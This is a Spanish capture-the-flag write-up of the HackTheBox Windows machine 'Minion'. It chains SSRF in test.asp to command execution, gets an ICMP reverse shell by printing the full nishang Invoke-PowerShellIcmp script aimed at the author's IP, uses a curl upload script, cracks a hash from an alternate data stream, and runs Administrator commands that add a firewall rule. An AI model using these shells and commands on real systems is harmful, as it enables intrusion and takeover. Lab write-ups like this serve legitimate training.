Maquina Minion - htb writeup

Firtmiracle el
Maquina Minion - htb writeup

El dia de hoy vamos a resolver Minion de hackthebox una maquina windows de dificultad insane, esta vez vamos contra una maquina potente donde a traves de un servicio http vamos a aprovecharnos de un SSRF para descubrir un puerto interno local que a traves de un parametro nos permitira realizar RCE, pero al existir reglas de firewall implementadas por TCP y por UDP ganaremos acceso por ICMP, despues abusaremos de los permisos de un script en powershell para mediante una tarea programada obtener unas contraseñas privilegiadas y finalmente manipularemos las reglas de firewall para habilitarnos el acceso a los puertos internos de la maquina y poder ejecutar un exe que nos permitira visualizar la root.txt como el usuario Administrator.

Maquina muy guapa asi que vamos a darle!.

Comenzamos como es de costumbre creando un directorio con el nombre de la maquina:

❯ mkdir Minion
❯ ls

 Minion

Seguidamente con la funcion mkt crearemos nuestros directorios de trabajo:

❯ which mkt
mkt () {
	mkdir {nmap,content,exploits,scripts}
}
❯ mkt
❯ ls
 content   exploits   nmap   scripts

ENUMERACION #

Comenzaremos con la fase de Enumeracion, mandando una traza a la ip de la maquina victima con el comando ping:

❯ ping -c 1 10.10.10.57
PING 10.10.10.57 (10.10.10.57) 56(84) bytes of data.
64 bytes from 10.10.10.57: icmp_seq=1 ttl=127 time=194 ms

--- 10.10.10.57 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 193.546/193.546/193.546/0.000 ms

Vemos que la maquina nos responde, con un ttl de 127 y por proximidad seria correspondiente a una maquina windows.

ESCANEO DE PUERTOS

Parámetro Descripción
-p- Escaneamos todos los 65535 puertos.
–open Solo los puertos que estén abiertos.
-v Permite ver en consola lo que va encontrando (verbose).
-oG Guarda el output en un archivo con formato grepeable para que mediante una funcion de S4vitar nos va a permitir extraer cada uno de los puertos y copiarlos sin importar la cantidad en la clipboard y asi al hacer ctrl_c esten disponibles

Procedemos a escanear los puertos abiertos y lo exportaremos al archivo de nombre openPorts:

❯ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.57 -oG openPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-15 17:12 -05
Initiating SYN Stealth Scan at 17:12
Scanning 10.10.10.57 [65535 ports]
Discovered open port 62696/tcp on 10.10.10.57
Completed SYN Stealth Scan at 17:13, 26.44s elapsed (65535 total ports)
Nmap scan report for 10.10.10.57
Host is up, received user-set (0.12s latency).
Scanned at 2023-10-15 17:12:41 -05 for 27s
Not shown: 65534 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE REASON
62696/tcp open  unknown syn-ack ttl 127

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.55 seconds
           Raw packets sent: 131083 (5.768MB) | Rcvd: 15 (660B)

ESCANEO DE VERSION Y SERVICIOS

❯ nmap -sCV -p62696 10.10.10.57 -oN targeted
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-15 17:14 -05
Nmap scan report for 10.10.10.57
Host is up (0.16s latency).

PORT      STATE SERVICE VERSION
62696/tcp open  http    Microsoft IIS httpd 8.5
| http-methods: 
|_  Potentially risky methods: TRACE
| http-robots.txt: 1 disallowed entry 
|_/backend
|_http-server-header: Microsoft-IIS/8.5
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.61 seconds

Entre los puertos abiertos mas relevantes podemos visualizar:

Puerto Servicio Versión
62696 HTTP Microsoft IIS httpd 8.5

EXPLOTACION #

Como vemos que el puerto 62696 corresponde a un servicio web con whatweb vamos a tratar de enumear las tecnolologias que utiliza y tal como nos muestra nmap nos enfrentamosa un IIS.

❯ whatweb http://10.10.10.57:62696
http://10.10.10.57:62696 [200 OK] Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/8.5], IP[10.10.10.57], Microsoft-IIS[8.5], X-Powered-By[ASP.NET]

Procedemos a abrir el servicio en nuestro navegador y visualizamos una pagina referente a minions.

Como nos enfrentamos a un IIS, con wfuzz podemos tratar de fuzzear archivos con extensiones asp y aspx.

❯ wfuzz -c --hc=404 -t 150 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -z list,asp-aspx -u http://10.10.10.57:62696/FUZZ.FUZ2Z
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.57:62696/FUZZ.FUZ2Z
Total requests: 441120

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                               
=====================================================================

000001221:   200        0 L      7 W        41 Ch       "test - asp"       

visualizamos la ruta test.asp y observamos que nos solicita el parametro u para realizar la solicitud.

Haciendo uso del parametro, podemos tratar de enviarnos una petición hacia nuestro equipo pero vemos falla.

Recordemos pero que tambien podemos realizar peticiones apuntando hacia la propia maquina y en efecto vemos contenido en el puerto 80 en local.

Entre las opciones que tenemos podemos ver system commands y si hacemos hovering nos muestra la ruta cmd.aspx, asi que podemos tratar de llegar a esta con la petición interna.

Si tratamos de ejecutar un comando nos muestra un error, pero si inspeccionamos el codigo fuente vemos que necesitamos incorporar el parametro xcmd.

Probamos nuevamente a ejecutar un comando, esta vez mandando una traza a nuestra maquina host, obtenemos un exit status = 0 y recibimos la petición correctamente.

❯ tcpdump -i tun0 icmp -v
tcpdump: listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
17:40:07.142661 IP (tos 0x0, ttl 127, id 6473, offset 0, flags [none], proto ICMP (1), length 60)
    10.10.10.57 > 10.10.16.10: ICMP echo request, id 1, seq 1, length 40
17:40:07.142685 IP (tos 0x0, ttl 64, id 60344, offset 0, flags [none], proto ICMP (1), length 60)
    10.10.16.10 > 10.10.10.57: ICMP echo reply, id 1, seq 1, length 40

Si ahora que tenemos RCE podemos tratar de enviarnos una reverse shell a nuestra maquina, pero no va a ser posible puesto que por dentro existen reglas de firewall que evitan que ganemos acceso por tcp y por udp.

Pero podriamos entablarnos una reverse shell por ICMP ya que tenemos traza con nuestra maquina, para ello vamos a usar el script Invoke-PowerShellIcmp.ps1 del repositorio de nishang:

Cateamos el script y vemos que necesitamos ejecutar dos comandos y uno de ellos ejecuta el script icmpsh_m.py que necesitamos descargar.

Nos descargamos el archivo y ejecutamos los comandos.

Ahora para evitar problemas en el script Invoke-PowerShellIcmp.ps1 vamos a quitar todos los comentarios, tambien las lineas vacias y agregar al final Invoke-PowerShellIcmp -IPAddress 10.10.16.10, para que al interpretarse ejecute la instrucción.

cat Invoke-PowerShellIcmp.ps1 | sed '/^\s*$/d' > icmp.ps1
❯ cat icmp.ps1
function Invoke-PowerShellIcmp
{ 
    [CmdletBinding()] Param(
        [Parameter(Position = 0, Mandatory = $true)]
        [String]
        $IPAddress,
        [Parameter(Position = 1, Mandatory = $false)]
        [Int]
        $Delay = 5,
        [Parameter(Position = 2, Mandatory = $false)]
        [Int]
        $BufferSize = 128
    )
    $ICMPClient = New-Object System.Net.NetworkInformation.Ping
    $PingOptions = New-Object System.Net.NetworkInformation.PingOptions
    $PingOptions.DontFragment = $True
    $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
    $ICMPClient.Send($IPAddress,60 * 1000, $sendbytes, $PingOptions) | Out-Null
    $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '> ')
    $ICMPClient.Send($IPAddress,60 * 1000, $sendbytes, $PingOptions) | Out-Null
    while ($true)
    {
        $sendbytes = ([text.encoding]::ASCII).GetBytes('')
        $reply = $ICMPClient.Send($IPAddress,60 * 1000, $sendbytes, $PingOptions)
        if ($reply.Buffer)
        {
            $response = ([text.encoding]::ASCII).GetString($reply.Buffer)
            $result = (Invoke-Expression -Command $response 2>&1 | Out-String )
            $sendbytes = ([text.encoding]::ASCII).GetBytes($result)
            $index = [math]::floor($sendbytes.length/$BufferSize)
            $i = 0
            if ($sendbytes.length -gt $BufferSize)
            {
                while ($i -lt $index )
                {
                    $sendbytes2 = $sendbytes[($i*$BufferSize)..(($i+1)*$BufferSize-1)]
                    $ICMPClient.Send($IPAddress,60 * 10000, $sendbytes2, $PingOptions) | Out-Null
                    $i +=1
                }
                $remainingindex = $sendbytes.Length % $BufferSize
                if ($remainingindex -ne 0)
                {
                    $sendbytes2 = $sendbytes[($i*$BufferSize)..($sendbytes.Length)]
                    $ICMPClient.Send($IPAddress,60 * 10000, $sendbytes2, $PingOptions) | Out-Null
                }
            }
            else
            {
                $ICMPClient.Send($IPAddress,60 * 10000, $sendbytes, $PingOptions) | Out-Null
            }
            $sendbytes = ([text.encoding]::ASCII).GetBytes("`nPS " + (Get-Location).Path + '> ')
            $ICMPClient.Send($IPAddress,60 * 1000, $sendbytes, $PingOptions) | Out-Null
        }
        else
        {
            Start-Sleep -Seconds $Delay
        }
    }
}
Invoke-PowerShellIcmp -IPAddress 10.10.16.10

Lo que tenemos que hacer ahora es meter este script en la maquina victima, pero debemos hacerlo en un formato en la que powershell lo entienda por ello usaremos iconv para separ cada caracter y despues convertirlo en base64.

cat icmp.ps1 | iconv -t utf-16le | base64 -w 0 > icmp.ps1.b64

Ahora vamos a crear un script en bash que nos ayude a automatizar la inserción de nuestro script en la maquina victima, vamos a utilizar curl pero como tiene un numero limite de caracteres por linea que podemos enviar, a nuestro script icmp.ps1.b64 vamos a aplicarle el comando fold para que tenga un numero de caracteres igual por cada linea y asi evitar problemas.

❯ /bin/cat automatize.sh
#!/bin/bash

function ctrl_c(){
    echo -e "\[!] Saliendo..."
    tput cnorm; exit 1
}

#CTRL_C
trap ctrl_c INT

declare -r main_url="http://10.10.10.57:62696/test.asp?u=http://localhost/cmd.aspx"

counter=0

echo; tput civis; for line in $(cat icmp.ps1.b64); do 
    command="echo $line >> C:\Temp\script.ps1"

    echo -ne "[+] Total de lineas enviadas [$counter/87]\r"

    curl -s -X GET -G $main_url --data-urlencode "xcmd=$command" &>/dev/null

    let counter+=1

done; tput cnorm

Al ejecutar el script lo que hara sera crear el archivo script.ps1 en la ruta C:\Temp\ con el contenido del icmp.ps1.b64, esto podemos verificarlo si desde el navegador le hacemos un type para leerlo y nos muestra con exist status 0.

Para poder ejcutarlo primero debemos transformar la data a un codigo legible por powershell ya que esta se encuentra en base64, para ello usaremos los siguientes comandos ejecutados desde una powershell.

❯ pwsh
PowerShell 7.2.1
Copyright (c) Microsoft Corporation.

https://aka.ms/powershell
Type 'help' to get help.

Welcome to Parrot OS 

┌[parrot@root]-[10:48-16/10]-[/home/fmiracle/machines/Minion/content]
└╼$ $fileContent = Get-Content ./icmp.ps1.b64
┌[parrot@root]-[10:51-16/10]-[/home/fmiracle/machines/Minion/content]
└╼$ $fileDecode = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($fileContent))

De esta manera similar tendriamos que introducirlo en la maquina, pero aputando al archivo script.ps1 en la maquina victima.

Si leemos el nuevo archivo, vemos que lo creamos de manera existosa.

Ahora no olvidemos ejcutar los comandos que requeria el script, usare rlwrap para tener un mejor manejo de la consola.

❯ sysctl -w net.ipv4.icmp_echo_ignore_all=1
❯ rlwrap python icmpsh_m.py 10.10.16.10 10.10.10.57

Ahora que estamos en escucha solo debemos ejecutar el script y recibimos la conexión.

❯ rlwrap python icmpsh_m.py 10.10.16.10 10.10.10.57
Windows PowerShell running as user MINION$ on MINION
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

whoami
iis apppool\defaultapppool

Ahora al tratar de listar el directorio personal del usuario decoder.MINION, no tenemos acceso:

Pero si listamos la raiz, vemos un directorio sysadmscripts.

Dentro vemos dos archivos uno .bat y un script en powershell.

Vemos que el del_logs.bat ejecuta el c.ps1 y como es de borrado de logs, quiero pensar que hay una tarea programada que lo ejecuta a intervalos regulares de tiempo.

Si vemos los permisos del script c.ps1 todos tienen privilegios full sobre este, entonces podemos tratar de manipularlo y traernos los archivos del directorio del usuario decoder.MINION asumiendo que este usuario es el que realiza la ejecución de la tarea o otro con mas privilegios.

Listamos el directorio despues de unos minutos y vemos un backup.zip y la flag user.txt que procederemos a leer.

ELEVACION DE PRIVILEGIOS #

Vemos que ademas de la flag, obtuvimos un archivo comprimido backup.zip, que si bien podemos descomprimirlo no vamos a encontrar información relevante, por ello debemos pensar fuera de la caja y preguntarnos que formas existen en windows para ocultar información o metadatos.

Por ello debemos tener en cuenta el concepto de los Alternative Data Streams - ADS.

ADS: Los Flujos Alternativos de Datos, Alternate Data Streams o ADS son una característica del sistema de archivos NTFS que permite almacenar metainformación con un fichero, sin necesidad de usar un fichero separado para almacenarla.

Para poder ver si hay configurados ADS en una ruta, debemos ejecutar el siguiente comando:

Vemos que el archivo backup.zip tiene una ADS pass, asi que leemos el contenido y encontramos un hash en md5.

type C:\Temp\backup.zip:pass
28a5d1e0c15af9f8fce7db65d75bbf17

Lo crackeamos usando nuestra pagina de confianza y obtenemos una contraseña.

Si bien contamos con credenciales, no podemos conectarnos con evil-winrm o con psexec debido a que solo vemos abierto el puerto 62696, pero podemos hacer uso de PSCredential y ejecutar un comando a traves de ScriptBlock.

hostname
minion

        $user = 'minion\Administrator'; $pass = '1234test'; $secPass = ConvertTo-SecureString $pass -AsPlainText -Force; $cred = New-Object System.Management.Automation.PSCredential $user,$secPass; Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock { whoami } 
minion\administrator

Ahora podriamos tratar de ejecutar leer la segunda flag, vemos que antes tenemos que ejecutar el root.exe, pero curiosamente no podemos hacerlo desde aqui.

        $user = 'minion\Administrator'; $pass = '1234test'; $secPass = ConvertTo-SecureString $pass -AsPlainText -Force; $cred = New-Object System.Management.Automation.PSCredential $user,$secPass; Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock { type C:\Users\Administrator\Desktop\root.txt }
In order to get the flag you have to launch root.exe located in this folder!

        $user = 'minion\Administrator'; $pass = '1234test'; $secPass = ConvertTo-SecureString $pass -AsPlainText -Force; $cred = New-Object System.Management.Automation.PSCredential $user,$secPass; Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock { C:\Users\Administrator\Desktop\root.exe }
Are you trying to cheat me?

Ahora recordemos que tenemos privilegios como administradores, asi que podemos tratar de modificar las reglas de firewall, de modo que tengamos acceso a los puertos que estan abiertos internamente en la maquina.

        $user = 'minion\Administrator'; $pass = '1234test'; $secPass = ConvertTo-SecureString $pass -AsPlainText -Force; $cred = New-Object System.Management.Automation.PSCredential $user,$secPass; Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock { New-NetFirewallRule -DisplayName fmiracle -RemoteAddress 10.10.16.10 -Direction inbound -Action allow }

Name                    : {fe96175f-38d1-451f-ad74-95e144f0d702}
ID                      : {fe96175f-38d1-451f-ad74-95e144f0d702}
Group                   : 
Platform                : {}
LSM                     : False
Profile                 : Any
PSComputerName          : localhost
RunspaceId              : 3cd818dd-a33a-4cf9-85a5-069c0144cf18
Caption                 : 
Description             : 
ElementName             : fmiracle
InstanceID              : {fe96175f-38d1-451f-ad74-95e144f0d702}

Si ahora tratamos de ver los puertos abiertos de la maquina.

❯ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.57
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-16 12:50 -05
Initiating SYN Stealth Scan at 12:50
Scanning 10.10.10.57 [65535 ports]
Discovered open port 445/tcp on 10.10.10.57
Discovered open port 135/tcp on 10.10.10.57
Discovered open port 139/tcp on 10.10.10.57
Discovered open port 80/tcp on 10.10.10.57
Discovered open port 3389/tcp on 10.10.10.57
Discovered open port 49153/tcp on 10.10.10.57
Discovered open port 49154/tcp on 10.10.10.57
Discovered open port 49157/tcp on 10.10.10.57
Discovered open port 62696/tcp on 10.10.10.57
Discovered open port 49152/tcp on 10.10.10.57
Discovered open port 49156/tcp on 10.10.10.57
Discovered open port 49155/tcp on 10.10.10.57
Discovered open port 5985/tcp on 10.10.10.57
Discovered open port 47001/tcp on 10.10.10.57
Completed SYN Stealth Scan at 12:51, 27.30s elapsed (65535 total ports)
Nmap scan report for 10.10.10.57
Host is up, received user-set (0.21s latency).
Scanned at 2023-10-16 12:50:43 -05 for 28s
Not shown: 65521 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE       REASON
80/tcp    open  http          syn-ack ttl 127
135/tcp   open  msrpc         syn-ack ttl 127
139/tcp   open  netbios-ssn   syn-ack ttl 127
445/tcp   open  microsoft-ds  syn-ack ttl 127
3389/tcp  open  ms-wbt-server syn-ack ttl 127
5985/tcp  open  wsman         syn-ack ttl 127
47001/tcp open  winrm         syn-ack ttl 127
49152/tcp open  unknown       syn-ack ttl 127
49153/tcp open  unknown       syn-ack ttl 127
49154/tcp open  unknown       syn-ack ttl 127
49155/tcp open  unknown       syn-ack ttl 127
49156/tcp open  unknown       syn-ack ttl 127
49157/tcp open  unknown       syn-ack ttl 127
62696/tcp open  unknown       syn-ack ttl 127

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 27.38 seconds
           Raw packets sent: 131072 (5.767MB) | Rcvd: 40 (1.600KB)

Podriamos tratar de conectarnos por a traves del puerto 3389 por RDP, ejecutar el root.txt y visualizar la segunda flag root.txt.

Comments

comments powered by Disqus